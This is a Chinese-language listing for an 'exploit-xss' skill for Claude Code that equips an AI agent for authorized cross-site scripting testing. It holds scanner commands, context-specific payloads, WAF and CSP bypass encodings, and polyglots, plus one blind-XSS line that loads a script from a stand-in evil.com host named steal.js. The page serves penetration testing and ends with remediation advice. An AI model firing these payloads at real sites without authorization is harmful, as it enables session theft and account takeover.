关于 exploit-xss
exploit-xss 是面向获授权安全测试的 XSS 检测 Skill,供安全测试人员检查 Web 应用的输入点与客户端行为。它汇集多种扫描器及脚本,涵盖反射型、存储型、DOM 等测试场景,并强调必须取得授权。
主要功能
- 01测试 URL、POST、Cookie 和请求头
- 02检测反射型、存储型及 DOM XSS
- 03分析注入上下文并生成载荷
- 04测试 WAF、CSP 与框架相关问题
- 05支持批量扫描和盲测
适用场景
- 01在授权范围内检查表单与参数
- 02排查客户端 DOM 注入风险
- 03评估 CSP 或 WAF 相关绕过可能
- 04对多条目标 URL 进行 XSS 检测
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ crazymarky/ pentest-skills --skill exploit-xss安装后在 Claude Code 中输入/exploit-xss确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
assets/attribute_xss_payloads.txtblind_xss_payloads.txtcommon_xss_payloads.txtcsp_bypass_payloads.txtdom_xss_payloads.txtframework_xss_payloads.txtmodern_browser_xss_payloads.txtmutation_xss_payloads.txtmxss_payloads.txtpolyglot_xss_payloads.txtsvg_xss_payloads.txtwaf_bypass_payloads.txtwebsocket_xss_payloads.txtxss_context_patterns.txtreferences/csp_bypass_guide.mddalfox_guide.mddom_xss_guide.mdframework_xss_guide.mdmutation_xss_guide.mdsvg_xss_guide.mdwebsocket_xss_guide.mdxspear_guide.mdxss_payload_techniques.mdxsstrike_guide.mdscripts/blind_xss_tester.pycsp_detector.pyframework_xss_tester.pymutation_xss_tester.pymxss_detector.pysvg_xss_tester.py详细介绍
跨站脚本(XSS)检测技能
⚠️ 危险 - 需要授权
此技能仅用于经授权的安全测试。
你必须具备:
- 目标系统所有者的书面许可
- 测试目标的合法授权
- 明确的测试范围
未经授权进行 XSS 测试属于违法且不道德的行为。
前置条件
必需工具
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike
# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest
# XSpear - XSS testing with WAF bypass
gem install xspear
Python 要求
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4
# Optional: WebSocket XSS testing
pip install websockets
可选工具
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
快速入门
基本 URL 测试
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"
# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"
POST 请求测试
# Save POST request to file
dalfox file request.txt
# Or use XSStrike
python xsstrike.py -r request.txt
DOM XSS 测试
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom
# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom
常见场景
1. 基本参数测试(反射型 XSS)
测试 URL 参数是否存在反射和注入:
# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"
# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"
# Specify parameter
dalfox url "https://target.com/search" -p q
检查内容:
- 输入是否会反射到 HTML 响应中?
- 所处的上下文是什么(HTML 标签、属性、JavaScript)?
- 是否应用了过滤或编码?
2. POST 请求 XSS(表单测试)
测试 POST 表单是否存在存储型或反射型 XSS:
# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test' > post_request.txt
# Test with XSStrike
python xsstrike.py -r post_request.txt
# Test with Dalfox
dalfox file post_request.txt
常见 POST 测试目标:
- 登录表单(用户名、电子邮件字段)
- 联系表单(姓名、消息字段)
- 搜索表单
- 评论表单
- 用户个人资料更新
3. Cookie 和标头 XSS
测试 HTTP 标头和 Cookie 是否存在注入:
# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"
# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"
# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"
要测试的标头:
- User-Agent(检查应用日志/错误页面)
- Referer(检查 404 页面、分析数据)
- X-Forwarded-For(检查 IP 反射)
- Cookie(检查欢迎消息/日志)
4. 反射型 XSS 检测
识别反射点并测试载荷:
# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery
# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind
检测方法:
- 比较带载荷和不带载荷时的响应长度
- 在响应 HTML 中搜索载荷
- 检查编码/过滤模式
- 识别 HTML 上下文(标签、属性、JS、CSS)
5. 存储型 XSS 测试(数据库持久化)
测试是否存在会持久保存在数据库中的 XSS:
# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net
# Test user profile fields
python xsstrike.py -r profile_update_request.txt
# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&[email protected]&message=payload"
存储型 XSS 测试目标:
- 用户个人资料(姓名、简介、所在地)
- 评论/评价
- 论坛帖子
- 电子邮件/联系表单(管理面板 XSS)
- 文件上传元数据
6. DOM XSS 发现
查找客户端 XSS 漏洞:
# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom
# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom
# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"
常见 DOM 来源:
location.hashlocation.searchdocument.cookiedocument.referrerwindow.name
常见 DOM 接收端:
innerHTMLdocument.write()eval()location.hrefsetTimeout()/setInterval()
7. 表单中的盲 XSS(联系/管理端 XSS)
测试会在管理面板中执行的表单 XSS:
# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"
# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net
# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"
盲 XSS 测试提示:
- 每次测试使用唯一载荷(以识别存在漏洞的参数)
- 使用 Burp Collaborator 或 interactsh 进行回连
- 测试电子邮件联系表单(管理员打开邮件时会执行)
- 测试支持工单系统
8. 上下文感知载荷
使用适用于注入上下文的载荷:
# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url
特定上下文的载荷:
HTML 正文/标签:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
HTML 属性:
" onmouseover=alert('XSS')
javascript:alert('XSS')
JavaScript:
';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>
CSS/样式:
</style><script>alert('XSS')</script>
expression(alert('XSS'))
9. WAF 绕过技术
规避 Web 应用防火墙:
# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass
# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass
# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encode
绕过技术:
- URL 编码:
%3Cscript%3Ealert(1)%3C/script%3E - 双重编码:
%253Cscript%253E - Unicode 编码:
\u003Cscript\u003E - HTML 实体:
<script>alert(1)</script> - 混合大小写:
<ScRiPt>alert(1)</sCrIpT> - 注入注释:
<script>alert(1)</script> - 注入制表符/换行符:
<script\t>alert(1)</script>
10. 自动扫描(批量测试)
扫描多个 URL/参数:
# Scan from file
dalfox file urls.txt
# Pipe from other tools
cat urls.txt | dalfox pipe
# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done
# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe
11. 载荷编码变体
使用不同编码方案进行测试:
# URL encode payloads
scripts/xss_payload_generator.py --encode url
# HTML encode
scripts/xss_payload_generator.py --encode html
# Hex encode
scripts/xss_payload_generator.py --encode hex
# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encode
要测试的常见编码:
- 纯文本:
<script>alert(1)</script> - URL 编码:
%3Cscript%3Ealert(1)%3C/script%3E - 双重 URL 编码:
%253Cscript%253E - HTML 实体:
<script>alert(1)</script> - 十六进制:
\x3Cscript\x3Ealert(1)\x3C/script\x3E - Unicode:
\u003Cscript\u003Ealert(1)\u003C/script\u003E
12. 多态载荷
使用可在多种上下文中生效的载荷进行测试:
# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot
# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
著名的多态载荷:
# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E
# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
13. CSP 检测与绕过
内容安全策略分析与绕过测试:
# Detect and analyze CSP
python scripts/csp_detector.py https://target.com
# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass
# Full CSP analysis
python scripts/csp_detector.py https://target.com --verbose
常见 CSP 绕过技术:
unsafe-inline- 允许内联脚本unsafe-eval- 允许使用 eval()、setTimeout()data:URL - 通过 data URI 执行内联脚本- 通配符来源 - 允许任意域名
- 基于 nonce 的绕过
- 特定框架的绕过方法
详细技术请参阅 references/csp_bypass_guide.md。
14. 特定框架的 XSS
测试 Angular、React、Vue 和其他框架中的漏洞:
# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect
# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular
# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react
# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue
常见框架攻击向量:
- Angular:
{{constructor.constructor('alert(1)')()}} - React:
dangerouslySetInnerHTML - Vue:
v-html指令 - jQuery:
.html()操作
详细技术请参阅 references/framework_xss_guide.md。
15. SVG 文件上传 XSS
测试文件上传中基于 SVG 的 XSS:
# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload
# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content
# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar
# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com
SVG XSS 攻击向量:
<svg onload="alert('XSS')"><svg><script>alert('XSS')</script></svg><svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>
详细技术请参阅 references/svg_xss_guide.md。
16. 变异 XSS(mXSS)
测试基于 HTML 变异的 XSS:
# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all
# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber
# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute
变异 XSS 攻击向量:
- 实体解码变异:
<→< - 标签解析变异:
<xmp>、<listing> - DOM 覆盖:
<a id="location"> - 命名空间变异:SVG/MathML
详细技术请参阅 references/mutation_xss_guide.md。
17. WebSocket XSS
测试 WebSocket 连接中的 XSS 漏洞:
# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com
# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws
# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom
# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored
# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'
WebSocket XSS 攻击向量:
- 消息反射:
ws.send('<script>alert(1)</script>') - JSON 注入:
{"message": "<img src=x onerror=alert(1)>"} - 事件处理程序:
ws.send('alert(1);') - 属性破坏:
" onmouseover=alert(1)
详细技术请参阅 references/websocket_xss_guide.md。
工具选择指南
| 场景 | 推荐工具 | 命令 |
|---|---|---|
| 快速参数测试 | Dalfox | dalfox url "https://target.com?param=test" |
| 使用 DOM 进行深度扫描 | XSStrike | python xsstrike.py -u "URL" --dom |
| WAF 绕过测试 | XSpear | xspear -u "URL" --bypass |
| 存储型/盲 XSS | Dalfox + Callback | dalfox file req.txt --blind CALLBACK |
| 手动测试 | XSStrike | python xsstrike.py -r request.txt |
| 批量扫描 | Dalfox 管道模式 | cat urls.txt | dalfox pipe |
| CSP 分析 | CSP Detector | python scripts/csp_detector.py URL |
| 框架 XSS | Framework Tester | python scripts/framework_xss_tester.py -u URL -p param |
| SVG XSS | SVG Tester | python scripts/svg_xss_tester.py -u URL -p param |
| 变异 XSS | Mutation Tester | python scripts/mutation_xss_tester.py -u URL -p param |
| WebSocket XSS | WebSocket Tester | python scripts/websocket_xss_tester.py -u URL |
| 全面扫描 | Full Scanner | python scripts/xss_full_scan.py -u URL --all |
工具对比:
| 特性 | XSStrike | Dalfox | XSpear | 内置脚本 |
|---|---|---|---|---|
| 速度 | 中 | 快 | 中 | 不定 |
| DOM XSS | 优秀 | 良好 | 有限 | 良好 |
| WAF 绕过 | 良好 | 良好 | 优秀 | 良好 |
| 管道模式 | 否 | 是 | 否 | 否 |
| 盲 XSS | 是 | 是 | 是 | 是 |
| CSP 分析 | 否 | 否 | 否 | 是 |
| 框架测试 | 否 | 否 | 否 | 是 |
| SVG 测试 | 否 | 否 | 否 | 是 |
| 变异 XSS | 否 | 否 | 否 | 是 |
| WebSocket XSS | 否 | 否 | 否 | 是 |
测试清单
侦察阶段
- 识别所有输入点(URL 参数、表单、标头、Cookie)
- 梳理应用的功能
- 识别数据存储位置
反射型 XSS 测试
- 测试所有 URL 参数
- 测试所有表单字段(GET/POST)
- 测试 HTTP 标头(UA、Referer、Cookie)
- 确定反射上下文
- 测试特定上下文的有效载荷
存储型 XSS 测试
- 测试所有表单提交
- 测试文件上传元数据
- 测试用户个人资料字段
- 测试评论/评价
- 验证跨会话持久性
- 测试在不同用户上下文中的执行情况
DOM XSS 测试
- 识别所有 DOM 源
- 跟踪数据流向接收点
- 测试基于哈希的注入
- 测试基于 URL 参数的注入
- 测试 localStorage/sessionStorage
高级测试
- 测试 WAF 绕过技术
- 测试编码变体
- 测试多态负载
- 执行盲 XSS 测试
- 测试 CSP 绕过
- 测试框架特定的 XSS(Angular/React/Vue)
- 测试 SVG 文件上传 XSS
- 测试变异 XSS(DOM 劫持)
- 测试 HTTP 响应头注入
- 测试 WebSocket XSS(如适用)
场景:持久化存储 XSS 发现
当你需要将 XSS 发现持久化到数据库时:
# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/search?q=test" \
--xss-type reflected \
--payload "<script>alert(1)</script>" \
--context html_body \
--severity High \
--subsystem "Web Application"
参数:
--host-ip- 目标主机 IP(必填)--url- 存在漏洞的 URL(必填)--xss-type- XSS 类型:反射型、存储型或 DOM 型(必填)--payload- 使用的负载(必填)--context- XSS 上下文:html_body、html_attribute、javascript、dom、url(默认值:html_body)--severity- 严重级别(默认值:Medium)--subsystem- 子系统名称(可选)--parameter- 存在漏洞的参数名称--title- 漏洞标题(未指定时自动生成)--description- 漏洞描述--cvss-score- CVSS 评分(0.0-10.0)
数据库位置: ./data/results.db
相关技能: results-storage - 查询数据、生成报告
资源
脚本
scripts/xss_payload_generator.py- 为各种上下文生成 XSS 负载scripts/xss_tester.py- 自动化 XSS 测试框架scripts/xss_context_analyzer.py- 分析注入上下文scripts/blind_xss_tester.py- 测试存储型/盲 XSSscripts/csp_detector.py- CSP 分析和绕过测试scripts/svg_xss_tester.py- SVG 文件上传 XSS 测试scripts/framework_xss_tester.py- Angular/React/Vue XSS 测试scripts/mutation_xss_tester.py- 变异 XSS/DOM 劫持测试scripts/websocket_xss_tester.py- WebSocket XSS 测试scripts/mxss_detector.py- HTML 解析器变异 XSS 检测scripts/xss_full_scan.py- 集成式 XSS 测试自动化
参考文档
references/dalfox_guide.md- Dalfox 完整指南references/xsstrike_guide.md- XSStrike 完整指南references/xspear_guide.md- XSpear 完整指南references/xss_payload_techniques.md- XSS 负载技术references/dom_xss_guide.md- DOM XSS 测试指南references/csp_bypass_guide.md- CSP 绕过技术references/framework_xss_guide.md- 框架特定的 XSS 指南references/svg_xss_guide.md- SVG XSS 测试指南references/mutation_xss_guide.md- 变异 XSS/DOM 劫持指南references/websocket_xss_guide.md- WebSocket XSS 测试指南
资源/词表
assets/common_xss_payloads.txt- 基础 XSS 负载assets/attribute_xss_payloads.txt- 属性上下文负载assets/dom_xss_payloads.txt- DOM XSS 负载assets/blind_xss_payloads.txt- 带回调的盲 XSS 负载assets/polyglot_xss_payloads.txt- 多上下文负载assets/waf_bypass_payloads.txt- WAF 规避负载assets/csp_bypass_payloads.txt- CSP 绕过负载assets/framework_xss_payloads.txt- Angular/React/Vue 负载assets/svg_xss_payloads.txt- SVG XSS 负载assets/mutation_xss_payloads.txt- 变异 XSS 负载assets/websocket_xss_payloads.txt- WebSocket XSS 负载
外部资源
常见响应与故障排查
“未发现 XSS”
- 尝试不同的载荷编码方式
- 启用 DOM 扫描器进行测试
- 检查是否有 WAF 拦截
- 使用盲 XSS 载荷进行测试
- 确认该参数确实会反射输入
“载荷已反射,但未执行”
- 使用上下文分析器分析上下文
- 使用特定于上下文的载荷
- 检查 CSP(内容安全策略)
- 检查输入是否经过清理
- 尝试其他标签/事件处理程序
“403 / WAF 已拦截”
- 使用 WAF 绕过载荷
- 尝试不同的编码方法
- 使用 XSpear 和 --bypass 标志
- 先使用较小的载荷进行测试
- 尝试其他注入点
报告格式
报告 XSS 漏洞时,请包含:
╔═══════════════════════════════════════════════════════╗
║ XSS Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search ║
║ Type: Reflected XSS ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')
Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')
Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website
Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions